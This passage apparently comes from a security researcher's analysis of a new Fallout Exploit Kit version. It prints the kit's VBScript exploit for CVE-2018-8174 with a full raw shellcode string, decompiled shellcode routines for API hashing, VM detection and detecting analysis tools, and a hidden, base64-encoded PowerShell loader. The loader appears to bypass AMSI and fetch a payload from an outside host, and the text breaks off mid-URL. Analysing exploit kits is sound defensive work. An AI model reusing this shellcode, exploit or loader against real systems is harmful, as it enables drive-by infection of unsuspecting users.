            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"devicefont"</span> <span class="na">value=</span><span class="s">"false"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"salign"</span> <span class="na">value=</span><span class="s">""</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;param</span> <span class="na">name=</span><span class="s">"allowScriptAccess"</span> <span class="na">value=</span><span class="s">"sameDomain"</span> <span class="nt">/&gt;&lt;/object&gt;&lt;/div&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>Thus, the swf file that exploits CVE-2018-15982 is read and executed.</p>

<h2 id="cve-2018-8174">CVE-2018-8174</h2>
<p>The exploit code used is very similar to PoC.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Sub</span> <span class="nf">StartExploit</span>
	<span class="n">UAF</span>
	<span class="n">InitObjects</span>
	<span class="n">vb_adrr</span><span class="o">=</span><span class="n">LeakVBAddr</span><span class="p">()</span>
	<span class="n">vbs_base</span><span class="o">=</span><span class="n">GetBaseByDOSmodeSearch</span><span class="p">(</span><span class="n">GetUint32</span><span class="p">(</span><span class="n">vb_adrr</span><span class="p">))</span>
	<span class="n">msv_base</span><span class="o">=</span><span class="n">GetBaseFromImport</span><span class="p">(</span><span class="n">vbs_base</span><span class="p">,</span><span class="s">"msvcrt.dll"</span><span class="p">)</span>
	<span class="n">krb_base</span><span class="o">=</span><span class="n">GetBaseFromImport</span><span class="p">(</span><span class="n">msv_base</span><span class="p">,</span><span class="s">"kernelbase.dll"</span><span class="p">)</span>
	<span class="n">ntd_base</span><span class="o">=</span><span class="n">GetBaseFromImport</span><span class="p">(</span><span class="n">msv_base</span><span class="p">,</span><span class="s">"ntdll.dll"</span><span class="p">)</span>
	<span class="n">VirtualProtectAddr</span><span class="o">=</span><span class="n">GetProcAddr</span><span class="p">(</span><span class="n">krb_base</span><span class="p">,</span><span class="s">"VirtualProtect"</span><span class="p">)</span>
	<span class="n">NtContinueAddr</span><span class="o">=</span><span class="n">GetProcAddr</span><span class="p">(</span><span class="n">ntd_base</span><span class="p">,</span><span class="s">"NtContinue"</span><span class="p">)</span>
	<span class="n">SetMemValue</span> <span class="n">GetShellcode</span><span class="p">()</span>
	<span class="n">ShellcodeAddr</span><span class="o">=</span><span class="n">GetMemValue</span><span class="p">()</span><span class="o">+</span><span class="mi">8</span>
	<span class="n">SetMemValue</span> <span class="n">WrapShellcodeWithNtContinueContext</span><span class="p">(</span><span class="n">ShellcodeAddr</span><span class="p">)</span>
	<span class="n">lIlll</span><span class="o">=</span><span class="n">GetMemValue</span><span class="p">()</span><span class="o">+</span><span class="mi">69596</span>
	<span class="n">SetMemValue</span> <span class="n">ExpandWithVirtualProtect</span><span class="p">(</span><span class="n">lIlll</span><span class="p">)</span>
	<span class="n">llIIll</span><span class="o">=</span><span class="n">GetMemValue</span><span class="p">()</span>
	<span class="n">ExecuteShellcode</span>
<span class="k">End</span> <span class="k">Sub</span>
<span class="n">StartExploit</span>
</code></pre></div></div>

<p>The process to generate shellcode is like this.</p>

<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">Function</span> <span class="nf">GetShellcode</span><span class="p">()</span>
	<span class="n">IIlI</span><span class="o">=</span><span class="n">Unescape</span><span class="p">(</span><span class="s">"%u0000%u0000%u0000%u0000"</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">Unescape</span><span class="p">(</span><span class="s">"%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u5653%uE857%u08B0%u0000%uF08B%u44C7%u1824%u05CD%u5379%u848D%uB024%u0000%u8900%u2474%u8934%u2444%u8D14%u2454%u8D10%u2444%uC744%u2444%u1D1C%u2BDE%u8982%u2444%u8D10%u244C%u8D14%u2484%u0094%u0000%u4489%u2824%u448D%u1824%u8D50%u2444%u502C%u1EE8%u0006%u8B00%u245C%u8D18%u244C%u8B18%u247C%u8B1C%u8903%u2444%u8B40%u1C47%u4489%u4424%u478B%u8920%u2444%u3348%u89C0%u2444%u8918%u2444%u891C%u2444%uE834%u02E9%u0000%u548D%u1C24%uCF8B%u66E8%u0002%u8300%u2464%u0038%u4C8D%u2024%u406A%uE856%u02FE%u0000%uC683%u8D40%u244C%u6828%u0080%u0000%uE856%u02EC%u0000%u74FF%u2C24%u4C8B%u5024%u448D%u4824%u74FF%u2C24%uD68B%u74FF%u4824%u5753%u8D50%u2444%u5060%u448D%u4C24%uE850%u0389%u0000%uDB33%uC483%u3938%u245C%u742C%u8B41%u2474%u8D38%u2444%u6A48%u5F44%u5357%uFF50%u83D6%u0CC4%u7C89%u4824%u448D%u1824%u106A%u5053%uD6FF%uC483%u8D0C%u2444%u5018%u448D%u4C24%u5350%u6853%u0000%u0800%u5353%uFF53%u2474%u5350%u54FF%u6424%uFF53%u2454%u5F44%u5B5E%uE58B%uC35D%u8B55%u83EC%u0CEC%u458B%u890C%uF445%u458B%u8908%uF845%u6583%u00FC%u07EB%u458B%u40FC%u4589%u8BFC%uFC45%u453B%u7310%u8B12%uF845%u4503%u8BFC%uF44D%u4D03%u8AFC%u8809%uEB08%uC9DF%u55C3%uEC8B%u458B%u0F08%u00BE%uC085%u2D74%u458B%u0F08%u00BE%uF883%u7C41%u8B19%u0845%uBE0F%u8300%u5AF8%u0E7F%u458B%u0F08%u00BE%uC083%u8B20%u084D%u0188%u458B%u4008%u4589%uEB08%u5DC9%u55C3%uEC8B%u8B51%u0845%u4589%uEBFC%u8B07%uFC45%u8940%uFC45%u458B%u0FFC%u00BE%uC085%u0274%uEDEB%u458B%u2BFC%u0845%uC3C9%u5653%u8B57%u33D9%u53FF%u3347%uE8F6%uFFC9%uFFFF%u8B59%u85C8%u74C9%u0F24%u03B6%uD233%uC703%uF1BF%u00FF%uF700%u43F7%uFA8B%uD233%u048D%uBE3E%uFFF1%u0000%uF6F7%uF28B%uE983%u7501%uC1DC%u10E6%u048D%u5F37%u5B5E%u55C3%uEC8B%uEC83%u5310%u5756%uF98B%u5589%u33FC%u8BF6%u3C47%u5C8B%u7838%uDF03%u438B%u8B1C%u204B%uC703%u4589%u03F0%u8BCF%u2443%uC703%u4D89%u89F8%uF445%u7339%u7618%u8B18%uB10C%uCF03%u7BE8%uFFFF%u3BFF%uFC45%u1074%u4D8B%u46F8%u733B%u7218%u33E8%u5FC0%u5B5E%uC3C9%u458B%u8BF4%uF04D%uB70F%u7004%u048B%u0381%uEBC7%u64EA%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u8B00%u1040%u64C3%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u1040%u56C3%u8B57%u8BF9%u56F2%u078B%uD0FF%uC085%u0675%u478B%u5604%uD0FF%u5E5F%u56C3%uF18B%uE856%uFEAB%uFFFF%u8B59%uE8CE%uFF06%uFFFF%u3D5E%u06DE%u3F54%u1F74%u413D%uCD05%u7425%u3D18%u0309%u0F05%u1174%uEC3D%u1803%u7416%u3D0A%u044B%u19F3%u0374%uC033%u33C3%u40C0%u55C3%uEC8B%uEC81%u013C%u0000%u418B%u5308%u5756%uFA8B%uDB33%u518B%u890C%uF855%u518B%u8B10%u1449%u6A53%u8902%uFC55%u4D89%uFFF4%u8BD0%u83F0%uFFFE%u4074%u858D%uFEC8%uFFFF%u85C7%uFEC8%uFFFF%u0128%u0000%u5650%u55FF%u85F8%u74C0%u8D27%uEC8D%uFFFE%uE8FF%uFF6F%uFFFF%uC085%u1575%u858D%uFEC8%uFFFF%u5650%u55FF%u85FC%u75C0%u56E2%u55FF%uEBF4%u3303%u43DB%u1F89%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u5756%uC033%uF98B%u3340%u53C9%uA20F%uF38B%u8D5B%uF05D%u0389%u7389%u8904%u084B%u5389%u8B0C%uF845%uE8C1%u891F%u5F07%u5B5E%uC3C9%u8B55%u81EC%u04EC%u0001%u5300%u3356%u57F6%uC68B%u8488%uFC05%uFFFE%u40FF%u003D%u0001%u7200%u8BF1%u8BDE%u8BFE%u8AF1%u3D94%uFEFC%uFFFF%uC78B%uE083%u0F07%uCAB6%uB60F%u3004%uC303%uC803%uB60F%u8AD9%u1D84%uFEFC%uFFFF%u8488%uFC3D%uFFFE%u47FF%u9488%uFC1D%uFFFE%u81FF%u00FF%u0001%u7200%u8BC8%u0C7D%uF633%uDE8B%uFF85%u5574%u458B%u8908%u0C45%u438D%u0F01%uD8B6%u948A%uFC1D%uFFFE%u0FFF%uC2B6%uC603%uB60F%u8AF0%u3584%uFEFC%uFFFF%u8488%uFC1D%uFFFE%u88FF%u3594%uFEFC%uFFFF%uB60F%u1D8C%uFEFC%uFFFF%uB60F%u03C2%u8BC8%u0C45%uB60F%u8AC9%u0D8C%uFEFC%uFFFF%u0830%u8940%u0C45%uEF83%u7501%u8BB1%u0845%u5E5F%uC95B%u55C3%uEC8B%uEC83%u8B48%u1C45%u4D89%u53F4%u8B56%u8B08%u0870%u4D89%u8BF8%u0448%u4D89%u8BF0%u0C48%u4D89%u8BE8%u1048%u4D89%u8BE0%u1448%u4D89%u8BD8%u1848%u458B%u5714%u046A%u5589%u8BEC%u1850%u4D89%u8BC8%u2448%u458B%u6818%u1000%u0000%u046A%u006A%u388B%u5589%u89D4%uFC4D%u7D89%uFFD0%u6AD2%u8B04%u6AD8%u5300%u5D89%uFFE4%u83D7%u207D%u8D00%u1445%u046A%u5350%u1875%u7D83%u0024%u0975%u45C7%uC614%u90EA%uEB2A%uC71D%u1445%uF9D7%u2A90%u14EB%u7D83%u0024%u45C7%uD214%u90EB%u752A%uC707%u1445%uE4D2%u2A90%u29E8%uFFFC%u8BFF%u084D%u458D%u83C0%u0CC4%u45C7%uF4C0%uDBBC%uC770%uC445%uE14D%u1989%u086A%uE850%uFE76%uFFFF%u5959%uDB33%u458D%u53C0%u5353%u5053%u55FF%u8BF8%u85F8%u75FF%u8B0A%u1045%u1889%u23E9%u0001%u5300%u6A53%u5303%u6853%u01BB%u0000%u75FF%u57F4%u55FF%u8BF0%u89D8%u145D%uDB85%u840F%u00FB%u0000%u4D8B%u8D08%uB845%u086A%uC750%uB845%uC6E5%u1DB0%u45C7%u7CBC%uB9D1%uE819%uFE1C%uFFFF%u5959%uC033%u6850%u3000%u8080%u5050%uFF50%uEC75%u458D%u50B8%uFF53%uE855%uD88B%uDB85%u840F%u00B8%u0000%u046A%u75FF%u6AE4%u6A00%u5300%u55FF%u85E0%u0FC0%uA084%u0000%u8300%u1C65%u8D00%uDC45%u6583%u00DC%u8D50%u1845%u45C7%u0418%u0000%u5000%u458D%u501C%u0568%u0000%u5320%u55FF%u83D8%u187D%u7400%u8376%u1C7D%u7400%u6A70%u6804%u1000%u0000%u75FF%u6A1C%uFF00%uD455%u75FF%u8B1C%u0C4D%u006A%u8950%uFF01%uD055%u6583%u00CC%u458D%u50CC%u458B%uFF0C%u1C75%u30FF%uFF53%uC855%uFF53%uFFD6%u1475%uD6FF%uFF57%u83D6%u207D%u8B00%uFC75%u0474%u006A%uD6FF%u7D83%u0024%u0474%u006A%uD6FF%u458B%uFF0C%u1C75%u4D8B%uFF08%uE830%uFD52%uFFFF%u458B%u5910%uC759%u0100%u0000%uEB00%u5311%uD6FF%u75FF%uFF14%u57D6%uD6FF%u458B%u8310%u0020%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u8B56%u8BF1%u57DA%u7589%uE8FC%uFBF7%uFFFF%uF88B%u43BA%u1C04%u8B19%uE8CF%uFB83%uFFFF%u368B%u75BA%uB905%u8B28%u89CF%u1446%u72E8%uFFFB%u8BFF%uFC75%u51BA%u3209%u8B73%u890E%u1C41%uCF8B%u5EE8%uFFFB%u8BFF%uBA0E%u0614%u33F5%u4189%u8B08%uE8CF%uFB4D%uFFFF%u0E8B%u97BA%u8104%u891D%u8B01%uE8CF%uFB3D%uFFFF%u0E8B%u4DBA%u8505%u8927%u0441%uCF8B%u2CE8%uFFFB%u8BFF%uBA0E%u04E4%u2259%u4189%u8B0C%uE8CF%uFB1B%uFFFF%u0E8B%uD3BA%u7004%u891F%u1041%uCF8B%u0AE8%uFFFB%u8BFF%uBA0E%u047A%u1A1E%u4189%u8B18%uE8CF%uFAF9%uFFFF%u0E8B%uF3BA%u8503%u8915%u2041%uCF8B%uE8E8%uFFFA%u8BFF%u890E%u2441%u58E8%uFFFB%uBAFF%u028C%u08D8%uC88B%uD2E8%uFFFA%u8BFF%u6A0B%u890C%u8D01%uF045%u4D8B%u500C%u45C7%uC2F0%u8DE0%uC720%uF445%uB412%u37CD%u45C7%uEFF8%uF16B%uE8A4%uFC34%uFFFF%u5959%u0E8B%u558D%uE8F0%uFB2B%uFFFF%uF88B%u5DBA%u1006%u8B36%uE8CF%uFA91%uFFFF%u758B%uBA08%u0584%u29FB%u0E8B%u4189%u8B0C%uE8CF%uFA7D%uFFFF%u0E8B%u55BA%uC706%u8935%u1441%uCF8B%u6CE8%uFFFA%u8BFF%uBA0E%u078C%u4B92%u4189%u8B10%uE8CF%uFA5B%uFFFF%u0E8B%u55BA%u6406%u8936%u0841%uCF8B%u4AE8%uFFFA%u8BFF%uBA0E%u051D%u245C%u4189%u8B04%uE8CF%uFA39%uFFFF%u0E8B%u46BA%uC006%u8935%u8B01%uE8CF%uFA29%uFFFF%u0E8B%u5E5F%u895B%u1841%uC3C9%uECD7%u2182%uA319%u2DD6%u29FE%uCBFE%u5CE9%uB27D%u501A%uCF26%u6A47%u54FE%uDABA%u8A85%uEF83%u3361%u09D1%u20F7%u16EC%uD9B7%u917A%uDE1A%u2281%uEA7F%u3143%u6ACE%u1A52%u4FF4%u500B%uC276%u5A57%uC1F8%uE09A%u258F%uA209%u6BCD%u28EE%uE3E7%u2FD5%u8D28%u3568%uAE4A%u0623%u309B%u8E87%uE4E0%u8EF7%u5F02%u7AB4%u73DA%u7483%uB0D2%uBC0E%uB049%u40EE%u8610%u7665%u07AF%u7330%u3C80%u6436%uF745%u5A61%uC1F8%uBBE2%u5581%uF71D%u00A7%u7F8D%u4907%u11AF%uB565%uF4E6%u755E%u19EE%u23AF%u8DB6%uEB89%u2838%u11BF%uC109%u1219%uD17E%uBEEA%uDD49%uF759%u09D6%uEA08%u8E45%uB602%u1B93%u19C4%u9146%uB94D%u9E6C%u0BC7%u00E8%u0000%u5800%uE883%u2D05%u00C0%u0000%u00C3"</span> <span class="o">&amp;</span><span class="n">lIIII</span><span class="p">(</span><span class="n">IIIII</span><span class="p">(</span><span class="s">""</span><span class="p">)))</span>
	<span class="n">IIlI</span><span class="o">=</span><span class="n">IIlI</span> <span class="o">&amp;</span> <span class="kt">String</span><span class="p">((</span><span class="o">&amp;</span><span class="n">h80000</span><span class="o">-</span><span class="n">LenB</span><span class="p">(</span><span class="n">IIlI</span><span class="p">))</span><span class="o">/</span><span class="mi">2</span><span class="p">,</span><span class="n">Unescape</span><span class="p">(</span><span class="s">"%u4141"</span><span class="p">))</span>
	<span class="n">GetShellcode</span><span class="o">=</span><span class="n">IIlI</span>
<span class="k">End</span> <span class="k">Function</span>
</code></pre></div></div>

<p>Let’s read shellcode.</p>

<h2 id="shellcode">Shellcode</h2>
<p>The decoding algorithm in the shellcode has not changed from v3 and remains RC4.
<a href="https://nao-sec.org/2019/03/analysis-of-fallout-exploit-kit-v3.html">Analysis of Fallout Exploit Kit v3</a></p>

<p>The hash algorithm of API hash has not changed either.
API hashed by the dualaccModFFF1Hash algorithm.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">__thiscall</span> <span class="nf">dualaccModFFF1Hash</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">this</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v1</span><span class="p">;</span> <span class="c1">// ebx</span>
  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// edi</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// esi</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// ecx</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// edx</span>

  <span class="n">v1</span> <span class="o">=</span> <span class="n">this</span><span class="p">;</span>
  <span class="n">v2</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="n">zz_count</span><span class="p">(</span><span class="n">this</span><span class="p">);</span> <span class="n">i</span><span class="p">;</span> <span class="o">--</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">v5</span> <span class="o">=</span> <span class="p">(</span><span class="n">v2</span> <span class="o">+</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="o">*</span><span class="n">v1</span><span class="o">++</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0xFFF1</span><span class="p">;</span>
    <span class="n">v2</span> <span class="o">=</span> <span class="n">v5</span><span class="p">;</span>
    <span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="n">v3</span> <span class="o">+</span> <span class="n">v5</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0xFFF1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">v2</span> <span class="o">+</span> <span class="p">(</span><span class="n">v3</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>However, there were interesting changes.
Analysis environment detection codes has been added in shellcode.</p>

<h3 id="vm-detection">VM Detection</h3>

<p>Query hypervisor precense using CPUID.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">__thiscall</span> <span class="nf">zz_vm_detect</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">this</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">v1</span><span class="p">;</span> <span class="c1">// edi</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>

  <span class="n">v1</span> <span class="o">=</span> <span class="n">this</span><span class="p">;</span>
  <span class="n">_EAX</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="kr">__asm</span> <span class="p">{</span> <span class="n">cpuid</span> <span class="p">}</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">_ECX</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">;</span>
  <span class="o">*</span><span class="n">v1</span> <span class="o">=</span> <span class="n">_ECX</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="process-detection">Process Detection</h3>
<p>Get a list of running processes.</p>

<p><img src="https://nao-sec.org/assets/2019-07-09/03.jpg" alt="" /></p>

<p>Convert process name to lower case.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">zz_tolowercase</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>

  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="o">*</span><span class="n">a1</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!*</span><span class="n">a1</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="o">*</span><span class="n">a1</span> <span class="o">&gt;=</span> <span class="mi">65</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="o">*</span><span class="n">a1</span> <span class="o">&lt;=</span> <span class="mi">90</span> <span class="p">)</span>
      <span class="o">*</span><span class="n">a1</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span>
    <span class="o">++</span><span class="n">a1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compare to the following hashes.
Once again, It uses the dualaccModFFF1Hash algorithm.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x3F5406DE
0x25CD0541
0x0F050309
0x161803EC
0x19F3044B
</code></pre></div></div>

<p><img src="https://nao-sec.org/assets/2019-07-09/04.jpg" alt="" /></p>

<p>Two process names were identified. I do not know the others.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="n">dualaccModFFF1Hash</span><span class="p">(</span><span class="s">"wireshark.exe"</span><span class="p">))</span>
<span class="s">'0x25cd0541'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="n">dualaccModFFF1Hash</span><span class="p">(</span><span class="s">"fiddler.exe"</span><span class="p">))</span>
<span class="s">'0x19f3044b'</span>
</code></pre></div></div>

<p>Like v3, shellcode downloads, decodes and executes encrypted PowerShell code.</p>

<h2 id="powershell">PowerShell</h2>
<p>The PowerShell code to be executed is like this.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">powershell.exe</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-enc</span><span class="w"> </span><span class="nx">dAByAHkAewAkAGwAMQBJAGwAMQA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQA7ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAD0AJABsADEASQBsADEALgBHAGUAdABUAHkAcABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFUAMwBsAHoAZABHAFYAdABMAGsAMQBoAGIAbQBGAG4AWgBXADEAbABiAG4AUQB1AFEAWABWADAAYgAyADEAaABkAEcAbAB2AGIAaQA1AEIAYgBYAE4AcABWAFgAUgBwAGIASABNAD0AJwApACkAKQA7ACQASQAxAEkAbAAxADEAbAAxAEkAbAA9ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAC4ARwBlAHQARgBpAGUAbABkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFkAVwAxAHoAYQBVAGwAdQBhAFgAUgBHAFkAVwBsAHMAWgBXAFEAPQAnACkAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAkAEkAMQBJAGwAMQAxAGwAMQBJAGwALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AH0AYwBhAHQAYwBoAHsAfQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAIgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAEkAbABJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJAGwAMQBJADEASQBJADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAEkASQBsAEkASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbAAxADEAMQBsAEkAbAAxAEkAMQBJADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABsAEkAMQBsAGwAMQBJAGwAMQBJADEAbAB7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAGwASQA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJAGwAMQBsADEAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbABJADEAbABsADsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAEkAbAAxADEAMQBJAEkASQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQAxAGwASQBsADEAbABsADEASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbABJAEkASQBsADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAGwAMQAxAEkAbABsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBsADEASQBsAEkAbAAxADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJAGwASQBJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAEkAMQBsAEkAbABJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJADEAbAAxADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAGwAbAAxAEkAbAA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBsAEkASQAxADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABJAGwAbABJAGwAbAA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABsAGwASQBsAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbAAxAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbABJAGwAbABsAEkAMQBJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQAxAEkASQBJADsAfQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABsADEASQBsADEAMQBJAEkASQB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoAHMAdAByAGkAbgBnACAASQBJAGwASQBJAEkALABzAHQAcgBpAG4AZwAgAEkAbABJAGwASQAsAEkAbgB0AFAAdAByACAASQAxADEAbAAxAEkALABJAG4AdABQAHQAcgAgAGwAMQBsAEkAMQAsAGIAbwBvAGwAIABJAGwASQAxADEASQBJADEAMQAxADEALAB1AGkAbgB0ACAAbAAxADEAMQBJACwASQBuAHQAUAB0AHIAIABsAEkASQBJADEASQBsAGwASQAsAHMAdAByAGkAbgBnACAASQAxAEkAbAAxAGwASQAsAHIAZQBmACAAbABJADEAbABsADEASQBsADEASQAxAGwAIABsAGwAMQAxAEkASQBsADEASQAsAG8AdQB0ACAASQAxAGwASQBJADEASQBsADEAIABsAEkASQAxAEkASQApADsAfQAiADsAJABsAGwAbAAxAEkAbABsAEkAMQA9ACIAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwATABvAHcAXAAkACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwApACsAKAA2ADUALgAuADkAMAApACsAKAA5ADcALgAuADEAMgAyACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAKQAuAHQAbQBwACIAOwAkAEkAMQBsADEAMQBJADEAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAGEAaABlAHIAbwA0AHUALgBjAG8AbQAvA